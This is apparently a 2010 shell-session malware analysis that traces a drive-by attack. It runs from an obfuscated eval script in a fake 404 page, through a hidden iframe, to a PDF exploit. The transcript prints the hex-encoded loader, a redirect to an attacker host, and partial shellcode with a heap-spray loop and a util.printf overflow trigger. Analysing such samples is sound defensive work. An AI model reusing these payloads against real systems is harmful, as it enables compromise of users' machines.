```
% ls
eval.js

% cat eval.js
old_eval = eval;
eval = function(arg0) {
    print("=>" + arg0 + "\n");
    old_eval(arg0);
}


% wget http://localhost/mal/
--2010-05-13 10:44:21--  http://localhost/mal/
Translacja localhost... 127.0.0.1
Łączenie się z localhost|127.0.0.1|:80... połączono.
Żądanie HTTP wysłano, oczekiwanie na odpowiedź... 200 OK
Długość: 3950 (3,9K) [text/html]
Zapis do: `index.html'

100%[=======================================================================================================================================>] 3.950       --.-K/s   w  0s

2010-05-13 10:44:21 (526 MB/s) - zapisano `index.html' [3950/3950]

% file index.html
index.html: HTML document text

% cat index.html
<html>
<head>
<script>
eval('\x76\x61\x72\x20\x5f\x30\x78\x38\x62\x32\x35\x3d\x5b\x22\x5c\x78\x33\x30\x5c\x78\x32\x45\x5c\x78\x33\x31\x5c\x78\x33\x44\x5c\x78\x32\x32\x5c\x78\x33\x32\x5c
\x78\x33\x41\x5c\x78\x32\x46\x5c\x78\x32\x46\x5c\x78\x33\x33\x5c\x78\x32\x45\x5c\x78\x33\x34\x5c\x78\x32\x46\x5c\x78\x33\x35\x5c\x78\x32\x46\x5c\x78\x33\x36\x5c\x78\x32\x45\x5c
\x78\x33\x37\x5c\x78\x32\x32\x5c\x78\x33\x42\x22\x2c\x22\x5c\x78\x37\x43\x22\x2c\x22\x5c\x78\x37\x33\x5c\x78\x37\x30\x5c\x78\x36\x43\x5c\x78\x36\x39\x5c\x78\x37\x34\x22\x2c
\x22\x5c\x78\x37\x37\x5c\x78\x36\x39\x5c\x78\x36\x45\x5c\x78\x36\x34\x5c\x78\x36\x46\x5c\x78\x37\x37\x5c\x78\x37\x43\x5c\x78\x36\x43\x5c\x78\x36\x46\x5c\x78\x36\x33\x5c
\x78\x36\x31\x5c\x78\x37\x34\x5c\x78\x36\x39\x5c\x78\x36\x46\x5c\x78\x36\x45\x5c\x78\x37\x43\x5c\x78\x36\x38\x5c\x78\x37\x34\x5c\x78\x37\x34\x5c\x78\x37\x30\x5c\x78\x37\x43\x5c
\x78\x36\x44\x5c\x78\x36\x31\x5c\x78\x36\x43\x5c\x78\x37\x37\x5c\x78\x36\x31\x5c\x78\x37\x32\x5c\x78\x36\x35\x5c\x78\x37\x43\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x39\x5c
\x78\x36\x43\x5c\x78\x37\x43\x5c\x78\x37\x33\x5c\x78\x36\x46\x5c\x78\x33\x31\x5c\x78\x33\x33\x5c\x78\x33\x31\x5c\x78\x37\x43\x5c\x78\x37\x33\x5c\x78\x36\x46\x5c\x78\x37\x43\x5c
\x78\x36\x38\x5c\x78\x37\x34\x5c\x78\x36\x44\x5c\x78\x36\x43\x22\x2c\x22\x5c\x78\x37\x32\x5c\x78\x36\x35\x5c\x78\x37\x30\x5c\x78\x36\x43\x5c\x78\x36\x31\x5c\x78\x36\x33\x5c
\x78\x36\x35\x22\x2c\x22\x22\x2c\x22\x5c\x78\x35\x43\x5c\x78\x37\x37\x5c\x78\x32\x42\x22\x2c\x22\x5c\x78\x35\x43\x5c\x78\x36\x32\x22\x2c\x22\x5c\x78\x36\x37\x22\x5d\x3b
\x65\x76\x61\x6c\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x28\x5f\x30\x78\x63\x63\x35\x37\x78\x31\x2c\x5f\x30\x78\x63\x63\x35\x37\x78\x32\x2c\x5f
\x30\x78\x63\x63\x35\x37\x78\x33\x2c\x5f\x30\x78\x63\x63\x35\x37\x78\x34\x2c\x5f\x30\x78\x63\x63\x35\x37\x78\x35\x2c\x5f\x30\x78\x63\x63\x35\x37\x78\x36\x29\x7b\x5f
\x30\x78\x63\x63\x35\x37\x78\x35\x3d\x53\x74\x72\x69\x6e\x67\x3b\x69\x66\x28\x21\x5f\x30\x78\x38\x62\x32\x35\x5b\x35\x5d\x5b\x5f\x30\x78\x38\x62\x32\x35\x5b\x34\x5d\x5d\x28\x2f
\x5e\x2f\x2c\x53\x74\x72\x69\x6e\x67\x29\x29\x7b\x77\x68\x69\x6c\x65\x28\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x2d\x2d\x29\x7b\x5f\x30\x78\x63\x63\x35\x37\x78\x36\x5b\x5f
\x30\x78\x63\x63\x35\x37\x78\x33\x5d\x3d\x5f\x30\x78\x63\x63\x35\x37\x78\x34\x5b\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x5d\x7c\x7c\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x3b\x7d
\x20\x3b\x5f\x30\x78\x63\x63\x35\x37\x78\x34\x3d\x5b\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x28\x5f\x30\x78\x63\x63\x35\x37\x78\x35\x29\x7b\x72\x65\x74\x75\x72\x6e\x20\x5f
\x30\x78\x63\x63\x35\x37\x78\x36\x5b\x5f\x30\x78\x63\x63\x35\x37\x78\x35\x5d\x3b\x7d\x20\x5d\x3b\x5f\x30\x78\x63\x63\x35\x37\x78\x35\x3d\x66\x75\x6e\x63\x74\x69\x6f\x6e
\x20\x28\x29\x7b\x72\x65\x74\x75\x72\x6e\x20\x5f\x30\x78\x38\x62\x32\x35\x5b\x36\x5d\x3b\x7d\x20\x3b\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x3d\x31\x3b\x7d\x20\x3b\x77\x68\x69\x6c
\x65\x28\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x2d\x2d\x29\x7b\x69\x66\x28\x5f\x30\x78\x63\x63\x35\x37\x78\x34\x5b\x5f\x30\x78\x63\x63\x35\x37\x78\x34\x5d\x5d\x28\x20\x6e\x65\x77\x20\x52\x65\x67\x45\x78\x70\x28\x5f
\x30\x78\x38\x62\x32\x35\x5b\x37\x5d\x2b\x5f\x30\x78\x63\x63\x35\x37\x78\x35\x28\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x29\x2b\x5f\x30\x78\x38\x62\x32\x35\x5b\x37\x5d\x2c\x5f
\x30\x78\x38\x62\x32\x35\x5b\x38\x5d\x29\x2c\x5f\x30\x78\x63\x63\x35\x37\x78\x34\x5b\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x5d\x29\x3b\x7d\x20\x3b\x7d\x20\x3b
\x72\x65\x74\x75\x72\x6e\x20\x5f\x30\x78\x63\x63\x35\x37\x78\x31\x3b\x7d\x20\x28\x5f\x30\x78\x38\x62\x32\x35\x5b\x30\x5d\x2c\x38\x2c\x38\x2c\x5f\x30\x78\x38\x62\x32\x35\x5b
\x33\x5d\x5b\x5f\x30\x78\x38\x62\x32\x35\x5b\x32\x5d\x5d\x28\x5f\x30\x78\x38\x62\x32\x35\x5b\x31\x5d\x29\x2c\x30\x2c\x7b\x7d\x29\x29\x3b');
</script>
</head>
<body>
<h1> 404 Not Found</h1>
</body>
</html>

% grep eval index.html > mal.js

% js -f eval.js mal.js
=>var _0x8b25=["\x30\x2E\x31\x3D\x22\x32\x3A\x2F\x2F\x33\x2E\x34\x2F\x35\x2F\x36\x2E\x37\x22\x3B","\x7C","\x73\x70\x6C\x69\x74","\x77\x69\x6E\x64\x6F\x77\x7C\x6C\x6F
\x63\x61\x74\x69\x6F\x6E\x7C\x68\x74\x74\x70\x7C\x6D\x61\x6C\x77\x61\x72\x65\x7C\x65\x76\x69\x6C\x7C\x73\x6F\x31\x33\x31\x7C\x73\x6F\x7C\x68\x74\x6D\x6C","\x72\x65\x70\x6C
\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xcc57x1,_0xcc57x2,_0xcc57x3,_0xcc57x4,_0xcc57x5,_0xcc57x6){_0xcc57x5=String;if(!_0x8b25[5][_0x8b25[4]](/
^/,String)){while(_0xcc57x3--){_0xcc57x6[_0xcc57x3]=_0xcc57x4[_0xcc57x3]||_0xcc57x3;} ;_0xcc57x4=[function (_0xcc57x5){return _0xcc57x6[_0xcc57x5];} ];_0xcc57x5=function ()
{return _0x8b25[6];} ;_0xcc57x3=1;} ;while(_0xcc57x3--){if(_0xcc57x4[_0xcc57x3]){_0xcc57x1=_0xcc57x1[_0x8b25[4]]( new RegExp(_0x8b25[7]+_0xcc57x5(_0xcc57x3)+_0x8b25[7],_0x8b25
[8]),_0xcc57x4[_0xcc57x3]);} ;} ;return _0xcc57x1;} (_0x8b25[0],8,8,_0x8b25[3][_0x8b25[2]](_0x8b25[1]),0,{}));

=>window.location="http://malware.evil/so131/so.html";

eval.js:4: ReferenceError: window is not defined

% wget http://malware.evil/so131/so.html
--2010-05-13 11:45:28--  http://malware.evil/so131/so.html
Translacja malware.evil... 127.0.0.1
Łączenie się z malware.evil|127.0.0.1|:80... połączono.
Żądanie HTTP wysłano, oczekiwanie na odpowiedź... 200 OK
Długość: 112 [text/html]
Zapis do: `so.html'

100%[=======================================================================================================================================>] 112         --.-K/s   w  0s

2010-05-13 11:45:29 (29,2 MB/s) - zapisano `so.html' [112/112]

% file so.html
so.html: HTML document text

% cat so.html
<html><head></head><body><h1>404 Not Found</h1><iframe width="0" height="0" src="e.pdf"></iframe></body></html>

% wget http://malware.evil/so131/e.pdf
--2010-05-13 11:45:44--  http://malware.evil/so131/e.pdf
Translacja malware.evil... 127.0.0.1
Łączenie się z malware.evil|127.0.0.1|:80... połączono.
Żądanie HTTP wysłano, oczekiwanie na odpowiedź... 200 OK
Długość: 6571 (6,4K) [application/pdf]
Zapis do: `e.pdf'

100%[=======================================================================================================================================>] 6.571       --.-K/s   w  0s

2010-05-13 11:45:44 (662 MB/s) - zapisano `e.pdf' [6571/6571]

% file e.pdf
e.pdf: PDF document, version 1.5

% ./pdfid.py -a e.pdf
PDFiD 0.0.11 /tmp/mal/e.pdf
 PDF Header: %PDF-1.5
 obj                    6
 endobj                 6
 stream                 1
 endstream              1
 xref                   1
 trailer                1
 startxref              1 /d/
 /Page                  1(1)
 /Encrypt               0
 /ObjStm                0
 /JS                    1
 /JavaScript            1(1)
 /AA                    0
 /OpenAction            1(1)
 /AcroForm              0
 /JBIG2Decode           0
 /RichMedia             0
 /Launch                0
  ...
```

```
% ./pdf-parser.py  -w -f -o 6 e.pdf
obj 6 0
 Type:
 Referencing:
 Contains stream
 <</#4c#65#6eg#74#68 5784/F#69#6ct#65#72[/#46l#61t#65#44e#63#6f#64e/#41#53#43#49#49#48exD#65c#6f#64e]>>


 <<
   /Length 5784
   /Filter [
   /FlateDecode /ASCIIHexDecode]
 >>


       var XizcDkETDN = unescape("%u3137%u42f8%ub99b%u782d%u487b%u7093%ue23b%ud40b%u8425%u3ff9%ubab4%u0471%ub52f%u339f%u7cf5%u1434%u7a4f%u3c4a
...
%u75a1%u72c0%u7951%u371b%u3061%u1e01%u9dea%u22d0%u1e77%u600f%u9d8e%u19a5%ubd75%u1ccc%u7931%u6d3d%uec2a%uc241%u254b");
       var jjjeQCrEvKIn ="";
       for (vnFoGbmiDVYLs=128;vnFoGbmiDVYLs>=0;--vnFoGbmiDVYLs) jjjeQCrEvKIn += unescape("%ub6f8%u37b2");
       IOdjpbzciZoSnnkNapyoAIDAzHGlszbHgWcTdRuRhCGdzzytmRtmYAQoWCRjHBHEqfR = jjjeQCrEvKIn + XizcDkETDN;
       ...
       util.printf("%45000.45000f", 0);


% head -n15 e.pdf
%PDF-1.5
%ůöĂ
1 0 obj<</T#79#70#65/C#61#74al#6fg/#4fu#74li#6ee#73 2 0 R/#50a#67e#73 3 0 R/#4f#70#65#6eAc#74i#6fn 5 0 R>>endobj
2 0 obj<</#54#79pe/Outl#69n#65s/C#6f#75#6et 0>>endobj
3 0 obj<</Ty#70e/#50a#67#65#73/Ki#64s[4 0 R]/#43#6fu#6e#74 1>>endobj
4 0 obj<</#54#79pe/Page/Par#65nt 3 0 R/#4d#65d#69#61B#6f#78[0 0 612 792]>>endobj
5 0 obj<</Type/#41#63#74ion/#53/J#61#76a#53#63rip#74/#4aS 6 0 R>>endobj
6 0 obj<</#4c#65n#67t#68 5739/Filter[/#46#6ca#74#65#44ec#6f#64e/AS#43#49#49Hex#44ec#6f#64#65]>>
stream
x}\QŁşÜ
/MmÎ`ü.qÚţĄyîLŽeq<9n:ĎĔb˙ź˝e>yoőI˘qÁ!vs-´ŮÉă@óë~^ŠÉÄ ŁË+ć8@<Í.PŃB(ÔAÍđ˛N đ[˝Ô>4żŚýlÚz^:âĽÝ>ä*ŇY2šJşvc<,WdŮk9žrüč
                              0_m!ql1
@JŠÖ°¨%.sÓu
           ĚäÜźifĽÉč
ćXąkĺ
Úr  P   ŹX˘čŽÇV
                                                      9cćŢcçŻV'W5,\Ŕ
T
T´ŠE                                                                     ŁËŻ1G¸ą c\
×#CmĚÔŔV&2ŐáĂ8qđÁÍłh`ha¤4˛(Ýď3+á×śÉiý~ÜvŻp°z2LI(7ÉźÓŕ\lŚ0ÄE¸
                                                                                          .y#MęňIíkVÇš*[rbÉsškÉëţF051˛%LÍ9b¨
!LňŁĹt0                                                                                                                               mĚĘxk=<SůŰ˘<
    âţĆŔŐIŘ"Sik¨Gu
        Ć  v^ŽNr8éXjëp|NJšF(¨űźF˙b§ŰńŘ¸ÎAf1]O`lčŁ=Ppy%ôö0Žő×ŹçcÝtbCeÉ?a8áŠuźVRÍťO|Í¸ŤF|śÇ*mĎň˘2;+I¤Ç
nŇą¨ÂË4XřXŇNWńÄpbÜđqô5%AţHľsßDřs˝aĆźë@L@^őÍÇŐňlÍdÚQĹ(ëAŢ$şćĽOajŁ˝d$dËP:'f¤Ď5ro˛v¤AěćY\bŮF}3rżĹĐyO8!ĹŽEÇbś
Ů@žEfşŁ?ÝţGO+ÚË,íŢOŤ.I>n,˙pëAęmWĆr&#w"Jß
8U@â¨m /AUOńg3U×đůćMDH_ă&"Žłâî"oq´hcŁb˘ů-ßôç˝+t$M˛+Ă
ž#AmŃĂwÇÜ
PćF¸m'?ÖL*!ccćŢ:WÚ|˘(2Ł7ţŁÚdČŹĹÇAšCŤ˘ĘĐlęGôVI;2ż[fH6őKĄ¤&ÝíG;Rź9                           şîéńĐR7\dŤ˘Ęâ´4ß´
Ě57@§Č
         kŁ1<V5C%^žĐxŃwI¸LOiî;iË ŹÉ9šs˘}őÎ˘=Äef|ł;ßC*7
ô~LKEPę#uQÇËžék<Í¨myIiŐńBŠiofXB2Ţ1IĆ]\NHÇrP2cA)řÍVÚ˛4b§ř¸,0köeŔl˘)}Z#jÎ´ÇÖűkDA{,uhÂAÔPmÚđ
         ]ń_Ón&ŕĄP[˛$n'ÍÁýěQÍąŤ˝Mmůź0úŻhö2¨%Šő!űXjý˝1 Ń
4ÚR§GKÜŃhĄŽ_R6´6ÓaĚ8VÄĘ˘6:HH;AfĂ`'ÁŤŔMeĎ÷
ńŚ7Qř     íůmŇGgbéă;{ŕ7eL˘HdŠlFÉOzONrŮ!čöćĹ>:[ ü é6šęÍ.8Î+x"C/.Ď"č"ŹüMyg
                             éŰ;ťzĐ˛cö5lnA¸OÁ
                                            OšĄGő9WK!ä Côd$˙ßS
Ć˘
   ÝE16ńåpň0#ł0ú!Zv°C1`WÝo$c.žĹmĚ{OŃ%ÓńÁXg¸1Z+WŃ$Nš!O}%cű.ľ×#GuŚ-ß~IGŚŰzfRŕVË !3éz:T÷<ÜNs7´ŕcOąĄčšËĚ˘q¸đ1űćňÄ=B¤(°4*nĆ˘ŇVŤ2Ľ`ąařX^äeîÉÇ§UŕĆ/KDç_DŔO÷Đ>cŢňEÎ´Ĺs:lôÝLÝ{¤LQtjěwÍv|
hY¨[Ż¸8Ľi¨oÍ,Ť!Băť"ŹQ!ôöqÖ=X¤NžčĽÄíjĹŕăIă˘á~í}[hCzÍqPzh<Ňąŕb
                                                           ZGŇsŐ($Ďgł$"öIÄĹsjw¤ÖÜtHś°.ŠŽP0Śü%

% pdftk e.pdf output e.unc.pdf uncompress

% head -n40 e.unc.pdf
%PDF-1.5
%âăĎÓ
1 0 obj
<</Outlines 2 0 R
/OpenAction 3 0 R
/Pages 4 0 R
/Type /Catalog
>>
endobj
2 0 obj
<</Count 0
/Type /Outlines
>>
endobj
4 0 obj
<</Kids [5 0 R]
/Count 1
/Type /Pages
>>
endobj
5 0 obj
<</Parent 4 0 R
/MediaBox [0 0 612 792]
/pdftk_PageNum 1
/Type /Page
>>
endobj
3 0 obj
<</JS 6 0 R
/Type /Action
/S /JavaScript
>>
endobj
6 0 obj
<</Length 5523
>>
stream

       var mDjyBFfTwELABkGThTYQiFBTapODGfyRCxZOexJOamQMfz = unescape("%uf846%u92f9%ufcd6%u93f5%u429f%u46f9%u27f5%u4ffc%u49f8%u97d6%u40f5%u41fc%u434e%u9b37%u979f
%uf593%u9842%u4bfd%u4399%uf590%u27d6%u4e3f%ufd98%u4a40%u2ff9%u9999%u42f9%u9192%u3f98%ufd2f%u9b46%u4843%u279b%ud6f5%ufc49%u4f4a%u2f9f%ufd99%u4641%u9147%u4197%u90f5%u4996%ufcfd
...
%u6786%u9fa9%u87f0%u203d%ude01%u2057%u8669%u7303%uc98c%ue79e%u5c1d%u5e20%uf7f1%u5c48%u3f2c%u9fd7%uc11b%u7624%u4762%ufc5c%u8b86");
       var cJLnyMCjGaIxADHStRZbOMdJblA ="";
```